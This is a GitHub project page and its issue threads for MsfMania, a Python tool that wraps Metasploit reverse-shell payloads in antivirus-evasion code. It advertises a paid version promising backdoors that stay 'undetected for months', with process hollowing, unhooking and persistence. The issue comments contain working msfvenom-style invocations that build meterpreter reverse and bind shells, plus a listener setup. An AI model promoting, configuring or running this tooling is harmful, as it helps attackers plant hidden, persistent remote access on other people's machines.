MsfMania is a command line tool developed in Python that is designed to bypass antivirus software on Windows and Linux/Mac in the future

Overview

MsfMania

MsfMania is a command line tool developed in Python that is designed to bypass antivirus software on Windows and Linux/Mac in the future. alt text

alt text

Summary

PRO version

Informations

The PRO version of MsfMania is under active development. It is dedicated to freelance pentesters or corporate red-teamers but students can also acquire it.

Why buy the PRO version? Well, the community version was FUD in March but quickly became unusable due to the number of downloads on VirusTotal...

The PRO version is often updated and has a customer service.

The evades methods used in the PRO version are much more advanced than the community version.

These are designed to keep your backdoor undetected for a very long time. A simple persistent reverse shell generated by the PRO version can stay under the radar of AV/EDR for months.

The community version will never be updated again and the version still has several years of existence in the future.

Demo of MsfMania PE Loader --> https://www.youtube.com/watch?v=Ka-mygowNL0

Demo of MsfMania 0.2.1 (last version) --> https://www.youtube.com/watch?v=o19GEnHy-is

You want MsfMania PRO 0.2.1 ? You can buy it here https://shoppy.gg/product/qelF87f or you can contact me : G1ft3dC0d3 [a,t] protonmail [d,o,t] com

You can also join the Telegram group https://t.me/msfmaniapros

PRO version features (NEW VERSION)

  • FUD features of MsfMania public version
  • Undetected injection methods
  • DLL Unhooking
  • Stealthy Process Hollowing
  • Windows mitigation policies
  • Remote PE Loader
  • Custom shellcode
  • Custom command
  • Advanced evasion module
  • Advanced privilege escalation
  • Advanced persistence
  • Full interactive
  • User's manual
  • Customer support, Subscription to new versions, Customized request

Requirements

  • Latest version of Kali Linux
  • The kali-rolling repository
  • Python3

Installation

  • Git clone this repository: git clone https://github.com/G1ft3dC0d3/MsfMania.git
  • cd into the MsfMania folder: cd MsfMania
  • Good pentest

Usage

python3 MsfMania.py -h

Community version features

  • Polymorphic C/C++ source code.
  • x86/x64 staged/stageless windows payload meterpreter/shell.
  • Local & remote memory injection
  • XOR encryption.
  • Sandbox/Antivirus Evasion.
  • Junkcode.
  • Run as Administrator.
  • Executable customizable with an icon.
  • Cross-compiler MinGW.
  • Rar compression.
  • Metasploit auto config
  • Sign executable
  • UPX Packer

Donations

alt text bc1q7d2wavr7gm4sw846vtdv9dyj42g55sxpaemkac

Comments
  • Error generating shellcode module 'lib.gen' has no attribute

    Error generating shellcode module 'lib.gen' has no attribute

    hi, thxx a lot for this tool, i wanted to give it a try, and got this script error when launching shellcode generation. Setup had no issues: Enter you choice : bdl1 Traceback (most recent call last): File "MsfMania.py", line 417, in SHELLCODE += gen.SHELLCODE_GENERATION(ARCHITECTURE, PAYLOAD, LHOST, LPORT) AttributeError: module 'lib.gen' has no attribute 'SHELLCODE_GENERATION'

    hope it ll help

    opened by nocomp 10
  • Can't get it to work? (solved)

    Can't get it to work? (solved)

    Hello!

    Just wanted to let you know it seems something broken with generated exe files. Launching generated output.exe on target (Windows Server 2012 R2) no connection made to listener. Tried lots of times, no avail. Can you recheck please isn't something broken with MsfMania? P.S The listener is fully functional and lport reachable (verified).

    Thanks in advance!

    1) python3 MsfMania.py -a x86 -p windows/meterpreter/reverse_tcp -lh 192.168.31.60 -lp 8088 -o localx32 -it local
    2) python3 MsfMania.py -a x64 -p windows/x64/meterpreter/reverse_tcp -lh 192.168.31.60 -lp 8088 -o local2 -it local
    
    
    
    msf6 exploit(multi/handler) > run
    
    [*] Started reverse TCP handler on 192.168.31.60:8088 
    
    
    opened by ghost 4
  • Updates to simplify code

    Updates to simplify code

    1. Simplified install_requirements() (AKA check_requirements()) function - just install add requirements without check
    2. Refactored and simplified junc_code() function
    opened by Pernat1y 3
  • don`t start

    don`t start

    root@kali:~/soft/MsfMania# python3 MsfMania.py Traceback (most recent call last): File "MsfMania.py", line 1, in from lib import evasion, body, compiler, compression, core, decoy, gen, metascript, encryption ImportError: cannot import name 'metascript' from 'lib' (unknown location)

    I installed:

    1. python3 setup.py
    2. python3 MsfMania.py

    after command: chmod +x MsfMania.py

    root@kali:~/soft/MsfMania# ./MsfMania.py
    from: too many arguments
    ./MsfMania.py: строка 3: TYPE: команда не найдена
    ./MsfMania.py: строка 4: ARCHITECTURE: команда не найдена
    ./MsfMania.py: строка 5: PAYLOAD: команда не найдена
    ./MsfMania.py: строка 6: LHOST: команда не найдена
    ./MsfMania.py: строка 7: LPORT: команда не найдена
    ./MsfMania.py: строка 8: FILENAME: команда не найдена
    ./MsfMania.py: строка 9: SHELLCODE: команда не найдена
    ./MsfMania.py: строка 10: синтаксическая ошибка рядом с неожиданным маркером «(»
    ./MsfMania.py: строка 10: `BUFFNAME = core.VARNAME_CREATOR()'
    
    opened by Ondrik8 3
  • fix nonexistent argument

    fix nonexistent argument "shellcustom" error

    replaced shellcustom with msfcustom in order to get rid of this error

    λ py MsfMania.py -a x64 -o test -it local
                                                                                                
                    ███╗   ███╗███████╗███████╗███╗   ███╗ █████╗ ███╗   ██╗██╗ █████╗ 
                    ████╗ ████║██╔════╝██╔════╝████╗ ████║██╔══██╗████╗  ██║██║██╔══██╗
                    ██╔████╔██║███████╗█████╗  ██╔████╔██║███████║██╔██╗ ██║██║███████║
                    ██║╚██╔╝██║╚════██║██╔══╝  ██║╚██╔╝██║██╔══██║██║╚██╗██║██║██╔══██║
                    ██║ ╚═╝ ██║███████║██║     ██║ ╚═╝ ██║██║  ██║██║ ╚████║██║██║  ██║
                    ╚═╝     ╚═╝╚══════╝╚═╝     ╚═╝     ╚═╝╚═╝  ╚═╝╚═╝  ╚═══╝╚═╝╚═╝  ╚═╝                                                                                                                                                                                                                   
                 Version : 2.4   -   Author : Killian CASAROTTO   -  Updated : 08/03/2021           
        
    Traceback (most recent call last):
      File "/home/bruh/Git/MsfMania/MsfMania.py", line 235, in <module>
        check_payload_requirements()
      File "/home/bruh/Git/MsfMania/MsfMania.py", line 59, in check_payload_requirements
        elif args.shellcustom:
    AttributeError: 'Namespace' object has no attribute 'shellcustom'
    
    opened by KebabLord 1
  • No such file or directory: 'output/malware.exe'

    No such file or directory: 'output/malware.exe'

    image I am not completely sure how this tool is putting the malware into the output folder but if it is initially writing the file to the current folder then maybe use the shutil modules copy function. If the program is just getting the output and storing it in a variable and then modifying the payload, maybe change directory using os.chdir into the output directory then write the file.

    opened by MrSharkSpamBot 1
  • FileNotFoundError: [Errno 2] No such file or directory: 'output/testfile.exe'

    FileNotFoundError: [Errno 2] No such file or directory: 'output/testfile.exe'

    Hi I always get this error message

    Traceback (most recent call last) File "/root/MsfMania/MsfMania.py", line 253, in original_file_size = check_file_size() File "/root/MsfMania/MsfMania.py", line 186, in check_file_size fs = path.getsize(filename) File "/usr/lib/python3.9/genericpath.py", line 50, in getsize return os.stat(filename).st_size FileNotFoundError: [Errno 2] No such file or directory: 'output/testfile.exe'

    opened by Lalika96 1
  • ISSUE: MsfMania crashes when using -c0='-f {format}'

    ISSUE: MsfMania crashes when using -c0='-f {format}'

    Error thrown:

    Traceback (most recent call last):
      File "/home/kai/MsfMania/./MsfMania.py", line 242, in <module>
        vshellcode, decoder_stub = encryption.shellcode_generation(msfvenom)
      File "/usr/lib/python3.10/site-packages/lib/encryption.py", line 9, in shellcode_generation
        shellcode = run(msfvenom, shell=False, stdout=PIPE).stdout.decode('utf-8')
    UnicodeDecodeError: 'utf-8' codec can't decode byte 0x90 in position 2: invalid start byte
    

    How to recreate:

    python3 ./MsfMania.py -a x64 -p windows/x64/meterpreter/bind_tcp -it local -lp 1234 -lh 192.168.0.1 -o bind -cO='-f exe-service'
    
    opened by QtKaii 0
  • Failed to create Payload

    Failed to create Payload

    Hey,

    what do i wrong?

    python3 MsfMania.py -a x64 -p windows/x64/meterpreter/reverse_tcp -lh 192.168.0.10 -lp 1234 -o Malicious -it local --hash md5

    [+] Shellcode generated.

    [+] Shellcode encrypted.

    [+] Evasion code added.

    sh: 1: x86_64-w64-mingw32-windres: not found [+] File compiled and stripped.

    Traceback (most recent call last): File "/home/kali/Downloads/MsfMania/MsfMania.py", line 253, in original_file_size = check_file_size() File "/home/kali/Downloads/MsfMania/MsfMania.py", line 186, in check_file_size fs = path.getsize(filename) File "/usr/lib/python3.9/genericpath.py", line 50, in getsize return os.stat(filename).st_size FileNotFoundError: [Errno 2] No such file or directory: 'output/Malicious.exe'

    opened by Huibuh2010 1
Owner
null
Linux commands Interpreter for Windows and Mac based systems using Python

DBHTermEcIbP Linux commands Interpreter for Windows and Mac based systems using Python Basic Linux commands supported viewing current working director

Vraj Patel 1 Dec 26, 2021
A command-line based, minimal torrent streaming client made using Python and Webtorrent-cli. Stream your favorite shows straight from the command line.

A command-line based, minimal torrent streaming client made using Python and Webtorrent-cli. Installation pip install -r requirements.txt It use

Jonardon Hazarika 17 Dec 11, 2022
Bonjour Software pypahe is a Python Package Helper command-line tool.

pypahe Bonjour Software pypahe is a Python Package Helper command-line tool. Requirements Docker runtime Usage print the latest available version of a

Bonjour Software 0 Aug 10, 2021
LSD (Linux Spotify Downloader) is a command line tool for downloading or rather recording content on Spotify.

LSD (Linux Spotify Downloader) is a command line tool for downloading or rather recording content on Spotify.

Jannis Zahn 7 Jun 21, 2022
Command line interface to watch your childhood shows in hindi and english, designed with python

Sweet dreams: Most of your childhood shows Command line interface to watch your

Not Your Surya 3 Feb 13, 2022
AML Command Transfer. A lightweight tool to transfer any command line to Azure Machine Learning Services

AML Command Transfer (ACT) ACT is a lightweight tool to transfer any command from the local machine to AML or ITP, both of which are Azure Machine Lea

Microsoft 11 Aug 10, 2022
A Python-based command prompt concept which includes windows command emulation.

PythonCMD A Python-based command prompt concept which includes windows command emulation. Current features: echo: Input your message and it will be cl

null 1 Feb 5, 2022
A project designed to make taking notes easier than ever - by doing it all on command line

A project designed to make taking notes easier than ever - by doing it all on command line! Yes, all of your files are easily accessible through one command interface, and can be written to at any time! #ad #sponsored

null 1 Dec 10, 2021
Phishing-Detective is a command line application for Windows 10 built to detect a phishing site from two url's

Phishing-Detective Phishing-Detective is a command line application for Windows 10 built to detect a phishing site from two url's How it works A simpl

null 2 Jun 23, 2022
flora-dev-cli (fd-cli) is command line interface software to interact with flora blockchain.

Install git clone https://github.com/Flora-Network/fd-cli.git cd fd-cli python3 -m venv venv source venv/bin/activate pip install -e . --extra-index-u

null 14 Sep 11, 2022
A cd command that learns - easily navigate directories from the command line

NAME autojump - a faster way to navigate your filesystem DESCRIPTION autojump is a faster way to navigate your filesystem. It works by maintaining a d

William Ting 14.5k Jan 3, 2023
Ros command - Unifying the ROS command line tools

Unifying the ROS command line tools One impairment to ROS 2 adoption is that all

null 37 Dec 15, 2022
pyNPS - A cli Linux and Windows Nopaystation client made with python 3 and wget

Currently, all the work is being done inside the refactoring branch. pyNPS - A cli Linux and Windows Nopaystation client made with python 3 and wget P

Everton Correia 45 Dec 11, 2022
Python command line tool and python engine to label table fields and fields in data files.

Python command line tool and python engine to label table fields and fields in data files. It could help to find meaningful data in your tables and data files or to find Personal identifable information (PII).

APICrafter 22 Dec 5, 2022
A lightweight Python module and command-line tool for generating NATO APP-6(D) compliant military symbols from both ID codes and natural language names

Python military symbols This is a lightweight Python module, including a command-line script, to generate NATO APP-6(D) compliant military symbol icon

Nick Royer 5 Dec 27, 2022
gget is a free and open-source command-line tool and Python package that enables efficient querying of genomic databases.

gget is a free and open-source command-line tool and Python package that enables efficient querying of genomic databases. gget consists of a collection of separate but interoperable modules, each designed to facilitate one type of database querying in a single line of code.

Pachter Lab 570 Dec 29, 2022
A command line tool (and Python library) for archiving Twitter JSON

A command line tool (and Python library) for archiving Twitter JSON

Documenting the Now 1.3k Dec 28, 2022
Python library and command line tool for interacting with Bugzilla

python-bugzilla This package provides two bits: bugzilla python module for talking to a Bugzilla instance over XMLRPC or REST /usr/bin/bugzilla comman

Python Bugzilla Project 112 Nov 5, 2022